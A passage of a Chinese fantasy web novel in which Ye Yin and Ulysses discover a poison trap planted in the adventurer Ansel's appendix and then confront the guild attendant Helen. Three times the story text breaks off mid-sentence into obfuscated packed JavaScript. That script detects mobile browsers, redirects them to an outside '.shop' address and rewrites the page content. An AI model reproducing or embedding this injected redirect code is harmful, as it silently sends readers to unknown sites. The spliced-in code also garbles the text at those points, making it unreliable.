尤利西斯纠正道:“得是资深冒险者才行。” “那就是得先加入,然后做任务提升等级咯?……大概要多久?” “先等等,你有没有想过——”尤利西斯道,“只有资深冒险者能出关,那关外的任务自然也只有资深冒险者能接取。” “……”叶隐噎住了,讷讷道:“那岂不是卡那儿了?” 两人沉默了一会儿。 叶隐瞥了眼尤利西斯,试探道:“有没有一种可能,看在你的面子上,公会会给我们直接发资深证书?” 尤利西斯没有完全否认,但对此并不乐观:“安塞尔不知道我已经不是勇者的事,公会的工作人员就不一定了,他们的消息总是很灵通,即使我仗势欺人也不见得有效。” 叶隐笑了起来,“你也会仗势欺人?” 尤利西斯斜眼看他:“不,不会,只是打个比方……那不是重点吧?” 叶隐安抚道:“嘛,别急,我们路上就要走一个星期呢。俗话说,车到山前必有路,船到桥头自然直,总会有办法的。” 他一点儿也不担心,区区一个通关证明罢了,就算别人不乐意成全他,他也有一万种办法解决问题。他当人的时候就要守规矩,现在当了魔王,还守规矩,那这魔王不是白当了? 29. 隐患 安塞尔的存活,只是偶然吗? 其一,据安塞尔所说,队伍的团灭是在极短时间里发生的事,快到他近乎来不及反应。 其二,同样是安塞尔所言,大魔乱潮的武器是一把三段锯,还有尾巴上的鳄鱼之口,然而无论是哪个,安塞尔身上都没有对应的伤痕。 其三,乱潮在如此短的时间里杀死了小队中除了安塞尔以外的所有人,偏偏安塞尔活了下来,并且没有被乱潮亲自追杀,反而只派了捡尸的魔物收场,这才让他捡回一条命。 的确很可疑……叶隐略带冷酷地想着。 但是,还不能就那么下定论。 安塞尔没有被乱潮的武器攻击到——如果那样,他恐怕当场就死了——但他的确因为魔物的追击而重伤濒死,如果不是叶隐下令救人,他已经被运到母巢里去了,结局依然是死,而叶隐一行人的存在,理论上是无法预知的。 而且,与安塞尔交谈的过程中,叶隐全程都开着情绪感知魔法,他可以确定对方没有说谎,除非连魔法都能骗过。 ……又或者,连他自己也认为那就是事实。 尤利西斯的神术,和叶隐自己的魔法,都没有查出安塞尔有什么问题,但叶隐相信自己的直觉,安塞尔身上很可能有他们尚未发现、甚至他自己都没有察觉到的秘密。 “你打算怎么做?”尤利西斯问叶隐。 “普通来说,我们已经有所警觉了,等他自己露出马脚比较稳妥。”叶隐摸着下巴,笑了笑,“……不过,既然无论什么情况,我们都有应对的信心,那当然要按我的作风来!” 即使叶隐不觉得安塞尔的秘密能威胁到自己、尤利西斯、希冯中的任何一个……刚玉除外。但无论那秘密是什么,一旦被揭露,安塞尔自己肯定首当其冲,毕竟他原本就是必然要死去的,不管利用了安塞尔的人究竟想做什么,他都没打算让安塞尔活着回去。 一天两夜相处下来,叶隐愈发确信安塞尔是个好小伙。他对牺牲的队友的事如数家珍,即使全员在强敌面前惨败,回忆起队友们的风采时依然是一副溢美之词,还坦白了自己与妹妹是为了父母的病和债务,才冒险参与了如此危险的任务,而且他意识到了,自己不该把被救回来的这条命再随意挥霍掉,决定回到据点后就另寻出路…… 这对兄妹的父母已经失去了长女,不该再失去长子了。 叶隐想要保住安塞尔,为此,首先必须确认对方的意志和自己站在同一战线上。 于是,在启程前往公会据点的第三天夜里,叶隐将包括安塞尔在内的所有人召集到身边,光明正大地向安塞尔挑明了自己的想法。 “……我的猜测就是这样,你自己怎么想呢?”叶隐问他。 听完叶隐的话,安塞尔呆若木鸡,脑子一片混乱:“我……” 他身上有没有所谓“秘密”,他自己难道还不清楚吗?难道他自己说了不算吗?但叶隐的质问并非全无道理,他是懂的。 事实上,他心里也隐约觉得哪里不对劲,只是当时的战斗太过惨烈,让他始终没有勇气静下心去回忆。 安塞尔竭力压抑着惊慌和恐惧,努力回想当时的情景——论武力,他在队伍里不是最出众的,那只魔物有不止一次机会杀他,甚至有一次,那疯狂中带着冷酷的眼神都扫到了他身上!可那恐怖的武器自始至终都没有挥向他,他身上仅有的伤是被对方的尾巴甩中胸口造成的,光那一下,就让他彻底失去了战意,匆忙败逃。 安塞尔张了张嘴,话未出口就哽在了喉咙里,不上不下。 非要辩驳的话,也不是找不到理由,但他不想用那样的说辞来搪塞自己的救命恩人。叶隐疑心已起,而回到据点的路途还远着,如果他不能彻底说服所有人,反而将他们激怒,那很可能会被单独丢下,重蹈覆辙。 “我……不知道。”安塞尔颓然地垂下脑袋,抱着头,十指在头发中掐得越来越紧,“我很抱歉,但我真的无法解释!我不知道自己身上有什么特别的……更从来没有想过要害死我的队友!尤其里面还有我的妹妹啊!” 叶隐仔细观察着他的反应,开口道:“我倒不是觉得你队友的死与你有关,因为你描述的那只魔物,我确实认得,你队友身体上的痕迹也并非作伪……所以,有没有一种可能,你的整支小队都被利用了?” 安塞尔的情绪非常糟糕,但他还是尽量按捺着焦虑与叶隐对话:“利用?是谁为了什么目的利用我们?我想不通!” “我有些猜想,但还没有决定性的证据。”叶隐道,“我把话跟你说开,是因为我相信隐瞒不是你的本意,队伍的遭遇也绝不是你想要的结果。你一定比我们中的任何人都想知道,这一切究竟是怎么一回事,不是吗?” 叶隐表现出来的信任让安塞尔稍微平静了些,他毫不犹豫地道:“当然!请把您的猜想告诉我!不管有多离奇,我都会试着去理解的!” “嘛,别急,虽然普通的神术和魔法都没检测出问题,但我还有其他手段。查出了证据,才足够有说服力,对吧?” 看到叶隐脸上隐隐挂着的微笑,安塞尔没来由的头皮发麻,结巴道:“其其其他手段?!” 是什么?审讯,洗脑,还是搜魂?啊,最后那个好像是传说…… “别怕,不会伤害到你,大概。” 安塞尔干笑一声,“‘大概’吗……” 叶隐避开了对风险的深入讲述,以免影响安塞尔的心态:“总之,不是现在。我需要一点时间来完善测验的方法,在此期间,我们还是继续赶路吧。” 安塞尔讶然道:“我、我还能继续待在队伍里?” 叶隐拍了拍他的肩膀:“我说过了吧,我相信你。况且,你以为我们是什么人?” “这倒……也是。”安塞尔露出一个尴尬而不失礼貌的微笑,但叶隐的话确实让他眼中有了光。 的确,这可是勇者一行人啊!——虽然说一天相处下来,安塞尔觉得叶隐反而更像实际上的领队,连勇者尤利西斯都要听他的话,还有那个从来没有和他正面说过话的希冯,也唯叶隐马首是瞻……不过,术业有专攻,法师更是博学的象征,这没什么奇怪的。 叶隐所说的事,他越想越觉得毛骨悚然。万一叶隐的猜想是真的呢?万一他在不知不觉间中了什么陷阱,亦或是成了别人的棋子,继而导致了队伍的团灭呢?……如果是那样的话,他到底都做了些什么啊!他到底该怎么面对逝去的队友们才好…… ……不幸中的万幸是,他遇到了勇者小队。他敢相信,即使是那只恐怖的魔物亲至,也不会是勇者的对手,区区一些小手段,还不是兵来将挡、水来土掩? 哪怕以最坏的结果来推测——为了清除隐藏的威胁,他必须去死,那也至少不会波及到勇者小队,因为他们足够强大,不会像牺牲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273730|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的队友们一样,唐突地被卷入自己都没有察觉到的事件,凄惨地死去……不然的话,他一万条命也不够赔的。 安塞尔不想轻视自己的生命,尤其妹妹去世的现在,他的双亲还在等他回去啊!但人和人的生命之重的确是有差距的,如果他的存在会影响到勇者小队的任务,那他宁愿去死,也不想作为一只拖油瓶苟活于世。 “……” 叶隐若有所思地看着安塞尔身上逐渐转为血红色的情绪之火,自从他开发出情绪感知魔法以来,这样颜色的火焰还是第一次见。 他想死吗?……不,应该只是做好了死的准备。 不过,叶隐早就决定好了,不会让他死的。 …… 天亮后,众人再次开始行进。 在相当一段时间里,一行人都没有和魔物发生任何正面冲突,更没有看到大魔乱潮的影子,也许对方早就离开了? 路途很快进入后半,时间来到第五天夜里。 叶隐找了片空地,示意安塞尔:“来,躺在这里。” 安塞尔顺从地躺下,但还是忍不住道:“那个、叶,能告诉我一下,都要做些什么吗?我有点害怕……” 叶隐活络了一下关节,以流氓蹲的姿势在安塞尔身侧蹲下,竖起两根手指:“我想了两个方案,我们一个个来。” 他从旁边的包里翻出一只略显浑浊的玻璃盒,那是他临时制作的培养皿,里面经过催化繁殖的地衣已经长了一大片,颜色红里透粉。 叶隐摆出一副“这是接下来要用的妙妙工具”的表情,自豪地介绍道:“这和母巢附近的地衣是同种,虽然是直接从野外的地表采集的,但经过催化后,大部分指标已经达到了母巢内部的程度,所以呈现出相似的颜色。” 安塞尔不明所以地听着:“有什么作用吗?” “首先,我会持续对你的全身展开探测魔法,尤利西斯也会持续使用感知神术,确保不遗漏任何细节。”叶隐说道,“然后,将这地衣剖下一小片,用魔力泡泡包裹起来,输入你的身体。我会持续控制着它,让其在你体内各处尽可能周转,来观察你身体的反应,再进行下一步行动。” “……会、会有什么反应?” “我不能确定。”叶隐实诚道,“不过,只要找到问题所在,接下来要做的就很简单了。你的话,什么都不用做,放松就好,不过最好不要睡着,因为你可能会感觉到异样,我们需要你的反馈。” “我知道了。”安塞尔闭上眼睛,用仿佛将要就义的语气道:“我已经做好准备了,来吧!” “别担心,我不会让你死的。” 安塞尔忍不住又睁开了眼睛,“真的吗?” “真的啦。”这可是魔王的承诺呢。 说着,叶隐把青年的眼皮又盖了回去,随后舔了舔嘴唇,“好,准备开工~尤利西斯,来。希冯,你负责警戒,还有看好刚玉,不许让它乱跑。” 安塞尔:“……”真的是真的吗?! 谨慎中带着些许兴奋地,叶隐从地衣上刮下极小的一片,比蚊子腿还要细得多,然后用魔力将其包裹成一个小球,让安塞尔咽了下去。 叶隐对安塞尔的保证是真心的,但兴奋也是货真价实的。他正逐渐从魔法研究中体会到学习的乐趣,而这正潜移默化地扭曲着他对魔法的看法。 接下来,会发生什么呢……他想道。 30. 在异世界给人切阑尾 包裹着小片地衣的魔力泡泡进入了安塞尔的胃,随后是小肠……在叶隐的操纵下,它跑得很快,像腹泻一样顺畅。 “还是没有任何感觉吗?”叶隐问安塞尔。 安塞尔回答:“没有。” 魔力泡泡继续深入,又过了一会儿,安塞尔忽地面色微变:“等等,好像有点疼!” “我也感觉到了。”叶隐立刻严肃起来,他伸手按了按感应传来的位置,也就是安塞尔的右下腹,“是这里疼吗?” 这个位置,是阑尾?但安塞尔感觉疼痛绝对不是因为普通的阑尾炎。 “是这里……呃、越来越痛了……!”安塞尔的面容些许扭曲,身体不由自主地想要蜷缩起来。他下意识攥紧尤利西斯的衣角,不安道:“能、能想想办法吗……?” 尤利西斯低声回道:“别害怕,交给我们。” 他将右手持续抵在安塞尔的额头上,左手悬在他腹部上方,以手掌为轮廓散发着一圈圈的金色光晕。 随着光晕没入身体,安塞尔的神情肉眼可见地舒缓了下去,但疼痛的烈度还在持续攀升,让他很快又皱起了眉头。这样下去,神术的止痛效果坚持不了太久。 尤利西斯紧盯着安塞尔脸上逐渐勉强的笑容,抬头问叶隐:“能把他麻醉吗?” 叶隐正全神贯注地捕捉着安塞尔阑尾处的变化,抽空快速回道:“我可以让他晕过去,但会很危险,我的探测魔法不能完全代替他对自己身体情况的感知。” “没关系,我能撑住……”安塞尔面色苍白,额头开始冒出冷汗,“就是、请快一点……” 气氛陷入了死寂,只有安塞尔偶然忍不住发出痛苦的呻吟。 安塞尔并非魔法师,体内更没有一丝魔力,因此叶隐可以直接将魔力从他的体表灌输进去,而不用担心扰乱他本身的魔力运转。 在叶隐的感知中,安塞尔的阑尾正在诡异地抽搐,而且自内部释放出了一种紫色的不明物质。有了如臂指使的魔力,辅以即时CT般的探测魔法,叶隐直接将阑尾掐了住,并在那种不明物质扩散开来前,就用魔力将整个阑尾包裹了起来。 阑尾炎手术,是把阑尾直接切掉吗?会不会有什么后遗症? 叶隐不太确定,但眼下的情况容不得他犹豫,他当机立断地在安塞尔的身体中释放了一个微型火魔法,将阑尾根部直接灼断。 已经痛麻了的安塞尔没什么反应,反而因为阑尾的离体很快变得舒服了,他惊讶地睁开眼睛,问叶隐:“是解决了吗?我突然感觉好多了!” 叶隐回道:“算是吧,不过还得先把那玩意取出来分析一下。这次不能走嘴了,得给你肚子开一小刀。” “呃,那好吧……?” “放心,现在可以麻醉了。” 安塞尔长舒一口气:“啊,那太好了!” 反正已经干过一次堪称野蛮的手术,一个小刀口对叶隐更是没啥心理负担。肌肉和血管的走向,他都能通过探测魔法了解得一清二楚,致密而轻薄的魔力刀刃更是一点不比手术刀差,尤利西斯的净化术还可以创造局部的无菌环境……对于眼下堪比野战的环境而言,已经足够完美了。 叶隐利索地给了安塞尔一记精神冲击,把他打晕了过去,随后三两下就把他腹部层层剖开,切出一个指节长的小口,然后把猪尾巴似的阑尾运了出来,再直接让切口愈合。至于那片地衣,它本身是无害的,可以直接被安塞尔消化掉,加上份量极小,留在肠子里也不碍事。 手头没有合适的容器,叶隐索性单手托着魔力泡泡,观察其中飘浮着的阑尾,它已经在不明物质的浸染下变成了深紫色,尚未失活的表皮还在轻微抽搐,有点恶心。 叶隐控制着隐形的魔力手术刀,从培养皿中切出一片较大的地衣,随后将阑尾中的紫色液体滴了上去。 嘶嘶嘶—— 一与不明液体接触,地衣迅速变得枯黄,边缘甚至碎成了粉末,簌簌落下。更令人害怕的是,伴随着电流般的嘶声,大量白烟开始冒出,像点燃了一串烟花似的,冒了有十几秒才慢慢停下。 一听到那声音,叶隐便条件反射地后仰,直到地衣彻底变成一堆细小的粉末,才重新凑上前去,瓮声瓮气道:“只剩下灰了么……” 尤利西斯皱着眉,松开捂住叶隐口鼻的手,道:“这烟有毒。” “确实很臭,之后再分析一下具体成分。” 叶隐说着,将方才收集烟尘的魔力泡泡直接固化成了一个半透明的球体,丢进包里,阑尾则分成了本体和挤出的一部分液体,两部份分开存放,作为对照。 这种保存方式虽然不如真正的玻璃容器稳定,但装着地衣的培养皿就是他上次烧玻璃烧出的唯一可用品了,属于无可奈何。等他今晚多烧几个瓶瓶罐罐,再把这些东西好好保存。 把手头的东西处理完后,趁着安塞尔未醒,两人开始讨论。 叶隐触摸着包裹住不明液体的泡泡,闭上眼睛,用探测魔法仔细扫描着,“感觉…有点像血……应该是将表皮毛细血管中的血液也作为了反应原料的一部分,这种液体已经不是最初引发反应的物质了。” 尤利西斯沉思了会儿,道:“我来厘一厘……你送进他体内的地衣,激发了他阑尾的异变,让潜藏在他阑尾中的某种物质、或是别的什么东西开始活跃,利用他本人的血液生产出了这种紫色液体,而这种液体,又可以瞬间腐蚀这种在母巢内部和附近大量存在的地衣……” “生化武器。”叶隐冷冷地吐出几个字,随后道: “阑尾的变化,直到地衣样本足够接近它才开始进行,以此来看,无论安塞尔踩在草地上,还是进入母巢中,都不会触发。排除误食,只有唯一一种情况——他死了,他被运送到母巢中,但他的尸体仍然鲜活,阑尾和其中的物质依然有活性,随后菌丝长进了他的身体,开始分解和重组他的血肉,一点点逼近阑尾中的陷阱,最后——啪! “……陷阱一旦激活,只需要几分钟时间,就能把安塞尔全身的血液都转化成毒药,即使他已经被砍成几块,也至少能将躯体这最大的一块物尽其用。再然后嘛,毒药接触到菌丝,开始迅速腐蚀、蔓延、破坏,而反应产生的有毒浓烟则会被困在位于地下的腔室中,一时半会儿难以散去……直到菌丝和地衣都被腐蚀干净,在腔室内等候分配的魔物要么及时逃离、要么在没有接到指令的情况下被困死。当然,那只是添头,无论如何,这座母巢都会在相当一段时间里丧失职能——垮!一座守备森严的堡垒,就这么不攻自破了。” 叶隐一口气说完自己的推理后,两人都低头看着地面,沉默了许久。 “不得不说,是一种很有效的战术呢。”叶隐感慨道,“想出这个办法的人,和将这个计划付诸实践的人,绝对是个天才啊。” 他觉得尤利西斯应当也是这么想的,但对方绝对不会说出这样的话,那这个“坏人”还是他自己来当吧。 尤利西斯果然没有回应这个话题,转而道:“在一个人的阑尾里设下这样的陷阱,究竟是怎么做到的?” “安塞尔的腹部没有手术的痕迹,至少在最近两三个月里是这样。”叶隐说道,“最有可能的是,他在无意中吃下了什么,而那个东西经由消化道来到阑尾,最终在那里固定了下来,并且这个时间不会太长。人体环境极为复杂,那东西又被消化过,没人能保证这个陷阱能够一直安然无恙,万一提前触发,安塞尔就会当着队友们的面凄惨死去,届时,这个精妙的计划就变成了屎里埋雷,不仅什么都没做到,还炸了自己一身。” 尤利西斯的神情难以言喻:“为什么要打那种比方……” 叶隐耸了耸肩,“活跃一下气氛么。” 气氛确实稍微轻松了些,虽然参与谈话的本来也只有两个人。 “……也就是说,动手的人很可能与安塞尔互相认识,尤其是在近一段时间里为他提供、或接触过他的食物。”尤利西斯说道,“安塞尔的妹妹和其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282413|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余队友都死了,家人又远在千里之外,那么,嫌疑最大的人,只能在冒险者公会里找了。” 叶隐道:“给他的队伍派发了母巢相关任务的,要么是公会的工作人员,要么是能量大到敢于在这种地方胁迫工作人员的人……也有可能是同流合污。” “我倾向于第二种。”尤利西斯道,“如果事情背后有冒险者公会自己的身影,他们完全没必要牺牲一整支精锐冒险者,而是有很多方法来达成目的。以目前的推测来看,只要能够将毒药投入母巢之中,就能够摧毁母巢,哪怕毒药的制取需要鲜血,人员的牺牲也并非必要,反而可能令公会舆论缠身,得不偿失。 “反之,若只是有谁胁迫了工作人员,说明背后之人可能无力单独完成此事,至少在这个地方,他们的人手和影响力不如冒险者公会,而且出于某些原因不能正大光明地委托,这样一来,这件事就必须办得隐秘,也就符合了当下的情况。” “有些道理。”叶隐点了点头,“那么,还有一个问题——为什么乱潮放过了安塞尔?” “……” 尤利西斯陷入沉思,一时没有言语。 反倒是在不远处站着岗的希冯忽然侧过身来,出声道:“你知道创造大魔的步骤吗?” “唔?”叶隐转头看他,反问道:“不是把血给够了就行了么?” 希冯抱着手臂,眼神不屑,哪怕现在的他展现出来的是人类形态,叶隐都仿佛能看到有条龙尾在他身后甩来甩去,好不傲慢。 他淡淡道:“大魔的身体和意志都受魔王支配,魔王理所当然可以将大魔往自己想要的方向塑造,而如果魔王本人没有偏向,魔王之血就会挖掘出大魔自身最强的天赋,予以最大程度的强化。 “比如我,就是战斗本能,以及火焰魔法,这二者结合在一起,就导致我的身体被重塑为了更加符合我内心的龙人之身。而那个乱潮,考虑到他极度嗜杀,而且有能从杀死的人类中汲取灵魂的传闻,那么他的天赋很可能与血、肉,甚至是‘杀’本身有关,这样的话,察觉到这个人身体中的异常,对那家伙而言就是顺理成章的。” 希冯的话并不能完全解释乱潮的行为,但至少提供了一个依据:乱潮是有可能提前发现安塞尔体内的异常的。 叶隐道:“这样的话,乱潮是明知道安塞尔体内有‘炸弹’,却还是下令其他魔物追捕他,试图将他逮进母巢中……可是,我还是不觉得,这能证明它是有意与幕后之人打配合,不然它的‘疯狂’就得打个问号了。” 刚玉从希冯的口袋里露出脑袋,大力摇头:“乱潮那家伙绝对不会与人类合作的!它连黑曜石大人都敢冒犯!” ……推理有些难以进行下去了,看来,想要得到更多线索,只能等抵达冒险者公会再说。 尤利西斯低头看向仍在昏迷的安塞尔,道:“让他知道这一切,没问题吗?” “既然你认为公会并非幕后黑手,只是被裹挟了,那至少不必担心他会彻底失去依靠,毕竟他要回到帝国,还得指望公会的安排,彼此能保留些信任终归是好的。”说着,叶隐微微翻了个白眼,“至于其他的事,你就不必过多操心了。什么事都瞒着他,难道你没有把他当成同伴吗?” 尤利西斯沉默半晌,道:“果然还是你比较适合当领队。” 他虽然统领过勇者小队,但比起真正意义上的队长,倒更像是前锋和精神领袖。队伍里个个都是人才,往往在他没有作出决定的时候,就在各自擅长的领域中把一切都事无巨细地安排好了,结果反倒是他自己,慢慢变得有些依赖他们,只起到一个顶着勇者之名把他们聚集起来的作用……现在看来,他在这方面似乎完全没有长进啊。 但这句话听在叶隐耳朵里就完全是另一回事了,叶隐左看看尤利西斯,右看看不远处再度背过身去的希冯,简直要气笑了:“你要想当,也不是不能让你当,但能在这个位置上待多久,就看你的本事了。” “……容我拒绝。” 31. 侍者海伦 身处偌大的魔物界的腹地,冒险者公会的据点藏得很深,除却有隐匿性质的结界魔法的保护以外,还有空房间的伪装。另外,其整个据点都埋在地下,大抵是用土元素魔法一点点挖出来的,为了防止菌丝侵袭,更是在墙壁上都刻满了魔法符文,整体看上去就像一座在地下倒栽葱的法师塔。 光是找到地上的入口就极为困难了,连熟悉路线的安塞尔都需要依靠各种隐秘的痕迹才能判断方向,更别提入口本身位于一棵已死巨树的树干之下数米,而这棵已死之树只是这片沼泽中数万棵秃树中不起眼的一棵……若不是事先知道这里是公会的入口,着实很难想象,这样荒凉的地方实际上是方圆数十公里内唯一的人类据点。 不过,也正是这样魔物都不愿意待的地方,才能把一整个人类建筑藏起来,否则以魔物的嗅觉,光是出入据点时在地表留下的痕迹的走向,就足以让这个据点被注意到了,断然不可能让它在魔物的老家藏匿十年之久。 安塞尔掏出冒险者徽章,通过了入口处的结界,率先踏入通往地下的入口,叶隐以及尤利西斯紧随其后进入,希冯则出于防止触发结界的担忧被留在了外面,刚玉依然被揣在他的口袋里。 顺着旋转楼梯一路向下,墙壁上挂着常燃的蜡烛,叶隐仔细观察了番,发现它们身上的符文和魔王城的火炬基本一致,看来这种魔法很可能是这个世界的通用技术,相对的,电力系统没能发展起来就不奇怪了。 他轻抚着身旁的墙壁,看着上面风化的破溃和爬行的青苔,喃喃道:“这个据点有十年历史吗……从墙壁的损伤来看,好像比那更久,这些符文倒确实是十年前刻上去的,如今的力量大约只剩当年的60%了。” “这也看得出来吗?厉害!” 安塞尔惊叹一声,随即道:“的确,我有听海伦小姐说过,在更久以前,这座建筑物就已经存在了。那时候,这附近还是一片森林,而且离帝国的边境线不远,这座建筑是立在地表的,充当哨站的功能。”他挠了挠头,苦笑道:“至于现在,这里都变成魔物界的腹地了,这座建筑也沉进了沼泽中,直到十年前,才被冒险者公会重新利用起来。” 叶隐笑道:“怪不得我看它像倒着插在地里的。” 沿着旋转楼梯绕了好几圈,几人来到一处燃着火炬的门洞前,直接穿过——后方的空间一片光明,嘈杂的交谈声随着接近逐渐变响、不绝于耳。 首先映入眼帘的,是一条酒吧似的柜台,一位身着黑白色侍者服的女性站在柜台后方,一头金发在脑后扎成干练的丸子,她正低头记着账,忽地有人挥手招呼她,她便抬头微笑,放下手头的活计,转身为那人满上一杯酒。 圆形大厅中摆满了一张张圆桌,不过坐在桌旁的人不多,放眼望去只有四五个,他们正两两围坐在相邻的桌旁,激烈地讨论着什么。 注意到安塞尔带着陌生人进入,他的队友却不见踪影时,他们的声音和神情皆是渐渐淡了下去,肉眼可见地警惕起来,但在看到尤利西斯的瞬间,警惕便纷纷变为了讶异,乃至惊愕。 安塞尔不关心别人的眼光,反正不熟,他大踏步地走到柜台前,注视着柜台后的女侍者,神情沉静。 “……安塞尔……” 女侍者,也就是安塞尔口中的“海伦小姐”,虽然她面上仍然保持着职业性的微笑,但叶隐和尤利西斯早就注意到,在看到安塞尔的瞬间,她便僵硬得没了动作,手里的笔也不动了,只有双眼紧紧盯住安塞尔,眼中闪过一丝难以察觉的慌乱。 海伦盯着安塞尔,安塞尔也同样盯着……或者说瞪着海伦,这让后者的身体愈发僵硬。 复杂的情绪在安塞尔心中如开水般翻涌,海伦小姐对他和妹妹真的很好,哪怕他已经知道对方是这次事件的参与者,方才无意中提到她时,他也在反应过来前便笑了出来。如果没有海伦的照顾,以他和妹妹的资历和经验,或许会在遇到卡莎之前就被坑得血本无归。 安塞尔愿意相信海伦是被人利用了,但无论如何,她都算不上无辜,所以他不能当作什么都没有发生过,继续笑脸相迎,不然的话,他该如何向死者们的灵魂交代? 可惜,他甚至还没有来得及向海伦报恩…… 安塞尔深吸一口气,压制着情绪,貌似平静地说道:“任务失败了,海伦小姐。” 他看着惊惧的海伦,又看了眼远处注意着这边的同事们,鼓起勇气、咬牙切齿地道:“卡莎的团队全灭!如果不是勇者尤利西斯大人救了我,我也已经死了!” 有人道:“我记得你们的任务是绘制母巢附近的地形图,怎么会……” “他们遇到了大魔。”尤利西斯开口道。 没有什么人的话语能比勇者的可信度更高了,众人皆是一惊,面面相觑,脊背发寒。 实际上,事实还远不止如此,不过接下来的事,就没必要在调查清楚前向无关人士公布了。 海伦脸上毫不遮掩的惊惧之色,让安塞尔感到阵阵悲哀。如果不是勇者的搭救,这对他而言就是个死局,可偏偏勇者的到来,直接将情势彻底颠倒了。莫说是海伦,即使是罪魁祸首本人在此,在勇者面前也掀不起任何风浪,这就是人与人的差距。 ……终归是他太弱小,既没有聪明到能看破海伦的心思,也没有强大到能保护好身边的人。是他太过自满、太过傲慢,没有听取妹妹的提议,非要来这样的地方,结果就是遇到任何危险他都难以独自应对,即使有幸躲过这一次,迟早也会栽的,只是早晚的问题。 神不会永远眷顾他,只有他自己成长起来,变得像勇者一样强大,才能保护住想要保护的东西…… 怀着深切的遗憾和觉悟,安塞尔深深叹了口气,情绪终于平复了些。 他指了指海伦身后的房间,平静道:“我们谈谈吧,海伦小姐。” …… 或许是趁转身进屋的这几步时间里思考了番,海伦看起来倒比方才还要镇定一些。 安塞尔还没有出言质问海伦,她倒是先开口道:“听闻数个月前,勇者尤利西斯与皇室决裂,丢弃勇者之位离开首都,不曾想竟会在此地遇见。” 安塞尔微微睁大眼睛,下意识将目光投向尤利西斯,后者只是直视着前方,没有任何回应。 “别胡说啊,真是的!都传成什么故事了啊?” 众人微愣,纷纷向出声的叶隐投去视线,只见他抱着双臂,略显不爽地道:“明明是那些人先放弃他的,不要说得好像责任在他一样!” 海伦怔了一下,“是吗?很抱歉,我也只是听说。” 她重新看向尤利西斯,右手按在胸前行了一礼,随后道:“失礼了,请允许我冒昧问一句,您为什么会在魔物界?又是如何遇到安塞尔的?” 对于类似的问题,尤利西斯早已与叶隐对过口供了,他淡定自若地回道:“魔王理应已经出世,却不露真身,我认为它只是为避帝□□芒而藏匿了起来。眼下皇室对魔王的威胁不屑一顾,我却不能作此想法,因此宁可不做这个勇者,也非要找到魔王、将其铲除不可。” 尤利西斯不太擅长撒谎,但天可怜见,这句可是大实话!他说出来没有任何心理负担。 不过,下面这句,就完全是他的临场发挥了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286569|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤利西斯单手搭上叶隐的肩膀,道:“这位是法师叶隐,与我志同道合之人。安塞尔因大魔袭击而重伤,即将被魔物带回母巢时,是他发现了安塞尔仍然活着,决意救人,并根据蛛丝马迹推理出异常所在,最后解除了安塞尔身上的隐患。” 叶隐斜着眼睛看他,用口型说道:不是说好了把你推出去吗? 尤利西斯镇定道:“我们商量的时候,还不知道她已经知道了我的事,现在已经没法再用勇者的名号去向她施压了。反观你,有丰富的手段可以提供物证和理论依据,是调查和分析的主力,而且,她虽然一直在说我的事,但其实眼神一直在你身上。让她知道你才是最大的功臣,一定比把功劳强行揽到我头上更令她信服,然后她就会信任我们,自觉地把一切线索都拱手送上。” 安塞尔:“……”不要在当事人面前大声交谈啊尤利西斯大人! 海伦:“……”我都听到了。 叶隐:“……”这个男人,难道是天然呆…… 尤利西斯的话着实让安塞尔和海伦对他的滤镜碎了一地,不过却切实地将对话的进度向前推进了一大截,免去了许多无谓的试探,以进为进了属于是。 “我明白了,但我还有一件事想要确定。” 说着,海伦的目光从叶隐和尤利西斯身上扫过,问道:“你们,为什么想要将此事彻查到底?仅仅是为了替安塞尔讨回公道吗?” “这件事当然是重中之重,毕竟人的生命永远是第一位的。在安塞尔他们不知情的情况下做了那种事,即使目的是剿灭母巢,也摆脱不了清算。”叶隐说道,“其他的话,的确还有一些事,比如与拥有那种技术的幕后之人沟通,让那个母巢得到正确的处理,也都是我们该做的事。总之,既然已经参与进来,就参与到底了。” 从海伦略显左右互搏的态度中,他大致能够猜到对方的想法——这个女人,对安塞尔是心怀愧疚的,这一点他不用魔法也能看出来,而且比先入为主的安塞尔看得还要清楚。 不过,一码归一码。愧疚归愧疚,海伦一人并无力改变现状,不然安塞尔的队伍也就不会遭难了。从一开始,她就不觉得安塞尔能活着回来,更想不到会有勇者这样的人物突然出现,然而,事实与她的预测截然相反。 ——如果有勇者的帮助,或许这件事真的能够顺利解决,所以,她想要确定叶隐等人插手此事的决心。也许他们只是路过不平,拔刀相助,结果踢了钢板、撞了南墙,就立马回头,那么,剩下来的安塞尔和她自己,恐怕只会被幕后之人灭口。 